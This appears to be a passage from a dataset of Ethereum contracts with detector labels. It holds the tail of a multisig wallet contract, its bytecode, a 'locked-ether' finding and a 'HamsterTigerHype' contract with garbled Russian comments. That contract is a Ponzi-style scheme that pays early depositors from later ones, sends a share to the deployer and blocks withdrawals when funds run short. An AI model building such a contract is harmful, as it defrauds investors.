transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101e457806320ea8d86146102275780632f54bf6e146102545780633411c81c146102af57806354741525146103145780637065cb4814610363578063784547a7146103a65780638b51d13f146103eb5780639ace38c21461042c578063a0e67e2b14610517578063a8abe69a14610583578063b5dc40c314610627578063b77bf600146106a9578063ba51a6df146106d4578063c01a8c8414610701578063c64274741461072e578063d74f8edd146107d5578063dc8452cd14610800578063e20056e61461082b578063ee22610b1461088e575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561018357600080fd5b506101a2600480360381019080803590602001909291905050506108bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f057600080fd5b50610225600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f9565b005b34801561023357600080fd5b5061025260048036038101908080359060200190929190505050610b92565b005b34801561026057600080fd5b50610295600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d3a565b604051808215151515815260200191505060405180910390f35b3480156102bb57600080fd5b506102fa60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d5a565b604051808215151515815260200191505060405180910390f35b34801561032057600080fd5b5061034d600480360381019080803515159060200190929190803515159060200190929190505050610d89565b6040518082815260200191505060405180910390f35b34801561036f57600080fd5b506103a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e1b565b005b3480156103b257600080fd5b506103d160048036038101908080359060200190929190505050611020565b604051808215151515815260200191505060405180910390f35b3480156103f757600080fd5b5061041660048036038101908080359060200190929190505050611105565b6040518082815260200191505060405180910390f35b34801561043857600080fd5b50610457600480360381019080803590602001909291905050506111d0565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156104d95780820151818401526020810190506104be565b50505050905090810190601f1680156105065780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561052357600080fd5b5061052c6112c5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561056f578082015181840152602081019050610554565b505050509050019250505060405180910390f35b34801561058f57600080fd5b506105d06004803603810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611353565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106135780820151818401526020810190506105f8565b505050509050019250505060405180910390f35b34801561063357600080fd5b50610652600480360381019080803590602001909291905050506114c4565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561069557808201518184015260208101905061067a565b505050509050019250505060405180910390f35b3480156106b557600080fd5b506106be611701565b6040518082815260200191505060405180910390f35b3480156106e057600080fd5b506106ff60048036038101908080359060200190929190505050611707565b005b34801561070d57600080fd5b5061072c600480360381019080803590602001909291905050506117c1565b005b34801561073a57600080fd5b506107bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061199e565b6040518082815260200191505060405180910390f35b3480156107e157600080fd5b506107ea6119bd565b6040518082815260200191505060405180910390f35b34801561080c57600080fd5b506108156119c2565b6040518082815260200191505060405180910390f35b34801561083757600080fd5b5061088c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c8565b005b34801561089a57600080fd5b506108b960048036038101908080359060200190929190505050611cdd565b005b6003818154811015156108ca57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561098e57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b13578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b06576003600160038054905003815481101515610a7f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610ab957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b13565b81806001019250506109eb565b6001600381818054905003915081610b2b91906120fe565b506003805490506004541115610b4a57610b49600380549050611707565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610beb57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c5657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610c8657600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610e1457838015610dc8575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610dfb5750828015610dfa575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610e07576001820191505b8080600101915050610d91565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e5557600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610eaf57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610ed657600080fd5b60016003805490500160045460328211158015610ef35750818111155b8015610f00575060008114155b8015610f0d575060008214155b1515610f1857600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156110fd5760016000858152602001908152602001600020600060038381548110151561105e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110dd576001820191505b6004548214156110f057600192506110fe565b808060010191505061102d565b5b5050919050565b600080600090505b6003805490508110156111ca5760016000848152602001908152602001600020600060038381548110151561113e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111bd576001820191505b808060010191505061110d565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112a85780601f1061127d576101008083540402835291602001916112a8565b820191906000526020600020905b81548152906001019060200180831161128b57829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561134957602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116112ff575b5050505050905090565b60608060008060055460405190808252806020026020018201604052801561138a5781602001602082028038833980820191505090505b50925060009150600090505b600554811015611436578580156113cd575060008082815260200190815260200160002060030160009054906101000a900460ff16155b8061140057508480156113ff575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156114295780838381518110151561141457fe5b90602001906020020181815250506001820191505b8080600101915050611396565b8787036040519080825280602002602001820160405280156114675781602001602082028038833980820191505090505b5093508790505b868110156114b957828181518110151561148457fe5b906020019060200201518489830381518110151561149e57fe5b9060200190602002018181525050808060010191505061146e565b505050949350505050565b6060806000806003805490506040519080825280602002602001820160405280156114fe5781602001602082028038833980820191505090505b50925060009150600090505b60038054905081101561164b5760016000868152602001908152602001600020600060038381548110151561153b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163e576003818154811015156115c257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fb57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b808060010191505061150a565b8160405190808252806020026020018201604052801561167a5781602001602082028038833980820191505090505b509350600090505b818110156116f957828181518110151561169857fe5b9060200190602002015184828151811015156116b057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611682565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174157600080fd5b60038054905081603282111580156117595750818111155b8015611766575060008114155b8015611773575060008214155b151561177e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561181a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561187657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118e257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361199785611cdd565b5050505050565b60006119ab848484611f85565b90506119b6816117c1565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a0457600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a5d57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611ab757600080fd5b600092505b600380549050831015611ba0578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611aef57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b935783600384815481101515611b4657fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611ba0565b8280600101935050611abc565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611d3857600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da357600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611dd357600080fd5b611ddc86611020565b15611f7d57600080878152602001908152602001600020945060018560030160006101000a81548160ff021916908315150217905550611efa8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866001015487600201805460018160011615610100020316600290049050886002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ef05780601f10611ec557610100808354040283529160200191611ef0565b820191906000526020600020905b815481529060010190602001808311611ed357829003601f168201915b50505050506120d7565b15611f3157857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611f7c565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b505050505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611fae57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061206d92919061212a565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b8154818355818111156121255781836000526020600020918201910161212491906121aa565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061216b57805160ff1916838001178555612199565b82800160010185558215612199579182015b8281111561219857825182559160200191906001019061217d565b5b5090506121a691906121aa565b5090565b6121cc91905b808211156121c85760008160009055506001016121b0565b5090565b905600a165627a7a7230582042f8adf4394f537eb3cece467549367f94766dee22a16503039044063e56aa2e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
6,846
0xdb06845f3095000f7e2b804fcfa1411db6ce54f7
// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.8.0 <0.9.0; contract HamsterTigerHype { // структура ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΊΡƒΠ΄Π° заносится информация ΠΎ Π΄Π΅ΠΏΠΎΠ·ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π΅Π³ΠΎ инвСстов ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° участиС Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅ struct User { uint256 deposit; uint256 time; uint256 timeDeposit; uint256 round; uint idx; } //Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Ρ…Ρ€Π°Π½ΠΈΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ структурах всСх ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‚ Π² ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ mapping(address => User) users; //Массив адрСсов инвСсторов, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΄Π΅ΠΏΠΎΠ·ΠΈΡ‚ большС минимального (minValueInvest - настройка) address payable[] investors = new address payable[](5); //АдрСс послСднСго инвСстораф address payable lastInvestor; //Π Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹ΠΉ адрСс address payable advertising; //Баланс ΠΊΠΎΠ½Ρ‚Ρ€Π°ΠΊΡ‚Π° uint256 totalBalance; //ВрСмя послСднСй ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π° Π½Π° Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹ΠΉ адрСс uint256 advertisingLast; //ВрСмя послСднСго инвСста uint256 lastInvest; //ΠžΠ±Ρ‰Π°Ρ сумма нСобходиммая Π½Π° Π²Ρ‹Π²ΠΎΠ΄ uint256 withdrawSum; //ВрСмя ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠΉΡ‚ΠΈ для получСния Π²Ρ‹ΠΏΠ»Π°Ρ‚Ρ‹ uint256 withdrawTime = 1 days; //ВрСмя ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠΉΡ‚ΠΈ для получСния Π²Ρ‹ΠΏΠ»Π°Ρ‚Ρ‹ Π½Π° Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹ΠΉ счёт uint256 advertisingTime = 1 days; //ВрСмя ΠΈΠ³Ρ€Ρ‹ Ρ‚ΠΈΠ³Ρ€ΠΎΠ² uint256 tigerGameTime = 1 hours; // Минимальная сумма для участия Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Π’ΠΈΠ³Ρ€ΠΎΠ² uint256 minValueInvest = 0.05 ether; // Π Π°ΡƒΠ½Π΄ uint256 round = 1; //Π’ΠΈΠΏ ΠΈΠ³Ρ€Ρ‹ Π₯омяки/Π’ΠΈΠ³Ρ€Ρ‹ enum GameType {Hamster, Tiger} GameType game = GameType.Hamster; // ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ для индСксов инвСсторов uint index = 0; // ΠŸΠΎΠ΄ΡΡ‡Ρ‘Ρ‚ инвСсторов uint8 investedCount = 0; // Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ старта ΠΈΠ³Ρ€Ρ‹ Π₯омяков event StartHamsterGame(); // Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ старта ΠΈΠ³Ρ€Ρ‹ Π’ΠΈΠ³Ρ€ΠΎΠ² event StartTigerGame(); constructor() { advertising = payable(msg.sender); advertisingLast = block.timestamp; lastInvest = block.timestamp; } //Π’Ρ‹Π²ΠΎΠ΄ срСдств ΠΈΠ»ΠΈ инвСстирвоаниС receive() external payable { withdrawDividends(); if (msg.value > 0) { invest(); } else { withdraw(); } } //функция Π²Ρ‹Π²ΠΎΠ΄Π° срСдств(вызываСтся ΠΏΡ€ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ 0 eth) function withdraw() internal { User storage user = users[msg.sender]; if (user.round != round) { user.round = round; user.deposit = 0; user.timeDeposit = 0; user.time = 0; } uint256 payout = user.deposit / 5; uint256 period = block.timestamp - user.time; // ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ Ρ€Π΅ΠΆΠΈΠΌΠ° Ρ‚ΠΈΠ³Ρ€ΠΎΠ² функция Π½Π΅ позволяСт вывСсти срСдства require(game == GameType.Hamster, "Invest only in Tiger Game"); // Ссли всС условия ΡΠΎΠ±Π»ΡŽΠ΄Π΅Π½Ρ‹, Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ выплачиваСтся сумма Π΅Π³ΠΎ Π΅ΠΆΠ΅Π΄Π½Π΅Π²Π½Ρ‹Ρ… Π²Ρ‹ΠΏΠ»Π°Ρ‚ require(period > withdrawTime, "Very early to withdraw"); require(payout > 0, "The deposit is empty"); if (payable(msg.sender).send(payout)) { user.time = block.timestamp; } if (withdrawSum > address(this).balance && investedCount >= 5) { game = GameType.Tiger; emit StartTigerGame(); lastInvest = block.timestamp; } } //функция инвСст срабатываСт ΠΏΡ€ΠΈ поступлСнии срСдств Π½Π° ΠΊΠΎΠ½Ρ‚Ρ€Π°ΠΊΡ‚ function invest() internal { uint balance = address(this).balance; investmentOperations(); if (game == GameType.Hamster) { // Π Π΅ΠΆΠΈΠΌ Π₯омяков //Ссли большС 5 участников с Π΄Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΠΌ большС (настройки-minValueInvest), Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Ρ€Π΅ΠΆΠΈΠΌ Ρ‚ΠΈΠ³Ρ€ΠΎΠ² if (withdrawSum > balance && investedCount >= 5) { game = GameType.Tiger; emit StartTigerGame(); } } else { // Π Π΅ΠΆΠΈΠΌ Π’ΠΈΠ³Ρ€ΠΎΠ² // Ссли сумма баланса большС суммы ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠ»Π°Ρ‚ΠΈΡ‚ΡŒ Π² 2 Ρ€Π°Π·Π° Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Ρ€Π΅ΠΆΠΈΠΌ хомяков if ((withdrawSum * 2) < balance) { game = GameType.Hamster; emit StartHamsterGame(); } else { if (msg.value >= minValueInvest && block.timestamp - lastInvest > tigerGameTime) { multiplier(); game = GameType.Hamster; emit StartHamsterGame(); } } } if(msg.value >= minValueInvest){ lastInvest = block.timestamp; } } //внутрСнняя Π»ΠΎΠ³ΠΈΠΊΠ° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ инвСст function investmentOperations() internal { User storage user = users[msg.sender]; if (user.round != round) { user.round = round; user.deposit = 0; user.timeDeposit = 0; user.time = 0; } // Если послСдний инвСстор Π½Π΅ ΠΌΡ‹ заносим Π² список инвСсторов if (lastInvestor != msg.sender) { if (msg.value >= minValueInvest) { if (investors[user.idx] != msg.sender) { investedCount++; uint idx = addInvestor(payable(msg.sender)); user.idx = idx; } lastInvestor = payable(msg.sender); } } //ОбновляСм информация ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ user.deposit += msg.value; user.timeDeposit = block.timestamp; if(user.time == 0){ user.time = block.timestamp; } totalBalance += msg.value / 10; withdrawSum += msg.value / 5; } // ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ индСкс для массива ΠΈΠ½Π²Π΅Ρ‚ΠΎΡ€ΠΎΠ² function getIndex(uint num) internal view returns (uint){ return (index + num) % 5; } //ДобовляСм инвСстора Π² список function addInvestor(address payable investor) internal returns (uint) { index = getIndex(1); investors[index] = investor; return index; } //Π’Ρ‹ΠΏΠ»Π°Ρ‚Π° ΠΏΡ€ΠΈΠ·ΠΎΠ²Ρ‹Ρ… ΠΏΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡŽ Ρ€Π°ΡƒΠ½Π΄Π° function multiplier() internal { uint256 one = address(this).balance / 100; uint256 fifty = one * 50; uint256 seven = one * 7; address payable[] memory sorted = sort(); for (uint256 i = 0; i < 5; i++) { address payable to = sorted[i]; if (i == 0) { to.transfer(fifty); } else if (i >= 1 && i <= 4) { to.transfer(seven); } } advertising.transfer(one * 22); investors = new address payable[](5); lastInvestor = payable(this); withdrawSum = 0; totalBalance = 0; investedCount = 0; round++; } //Ѐункция ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ срСдств Π½Π° Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹ΠΉ адрСс(вызываСтся ΠΏΡ€ΠΈ использовании Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ Π»ΠΎΠ³ΠΈΠΊΠΈ ΠΊΠΎΠ½Ρ‚Ρ€Π°ΠΊΡ‚Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ) function withdrawDividends() internal { if (totalBalance > 0 && address(this).balance > totalBalance && block.timestamp - advertisingLast > advertisingTime) { advertising.transfer(totalBalance); totalBalance = 0; advertisingLast = block.timestamp; } } // Ѐункция сортировки инвСсторов ΠΏΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ инвСстирования function sort() internal view returns (address payable[] memory) { address payable[] memory sorting = investors; uint256 l = 5; for(uint i = 0; i < l; i++) { for(uint j = i+1; j < l ;j++) { uint us1 = 0; uint us2 = 0; if(investors[i] != address(0)){ us1 = users[sorting[i]].timeDeposit; } if(investors[j] != address(0)){ us2 = users[sorting[j]].timeDeposit; } if(us1 < us2) { address payable temp = sorting[i]; sorting[i] = sorting[j]; sorting[j] = temp; } } } return sorting; } function getInvestors() public view returns (address payable [] memory) { return investors; } function getDeposit(address _address) public view returns (uint256) { return users[_address].round != round ? 0 : users[_address].deposit; } function getWithdrawSum() public view returns (uint256) { return withdrawSum; } function getRound() public view returns (uint256) { return round; } function getLastInvestor() public view returns (address payable) { return lastInvestor; } function getBalance() public view returns (uint256) { return address(this).balance; } function getGame() public view returns (GameType) { return game; } } //////////////////////////////////////////////////////////////////// // ...... // // .#########. .###############################. // // .#############. .###############################. // // .###############. .###############################. // // .#################. .##############################. // // .#################. .##################. // // .################. .###############. // // .##############. .#############. // // .###########. .#########. // // .#########. // // .########. .########. // // .#######. .#######. // // .#######. .#######. // // .#######. .#######. // // .########. .#######. // // .#######. .########. // // .####. .#################. // // .##. .##################. // // .. .##################. // // .##################. // // .#################. // // .#################. // // .###############. // // .############. // // .########. // // // //////////////////////////////////////////////////////////////////// /// Contract developed by Hamster Tiger Hype team, 2021, v.1.0 /// //////////////////////////////////////////////////////////////////// // // -----BEGIN PGP MESSAGE----- // // jA0EBwMCQW6yY/xrvcLC0sCqAZy5Lr+tMdR0XQuyEL6qX/h+dkjeQZYq4xCVoDgs // bTGv0k2d4hmq220GytehNYXGSdxcxy32Bmd6ZMfa4BkYV3zogkZS76xfMLRA3tlS // 2sAB/k/Vo3FlqB+h6mu4bz+5/d9sjR6GLd9o0OyUxEbMGXQlBrGJx/PiZ8DMPdhk // 65HR+6oWuSabKGHHnM/ym1nooC2W3MoTD4QmvCAC5i77AOOepjJR7/AY/QKmu5Wd // JfGEa7Him0Fopuloiwa/lYrh0NhheaZIyqMc9p8SGppJUwh097+91T5Gr6yxNhyp // vFlc0kOLOTlwSgigPAzsxdSIIeEJF4HxAsjVFQpsOpzqCjgdwzhlzC85pJ53qWU6 // 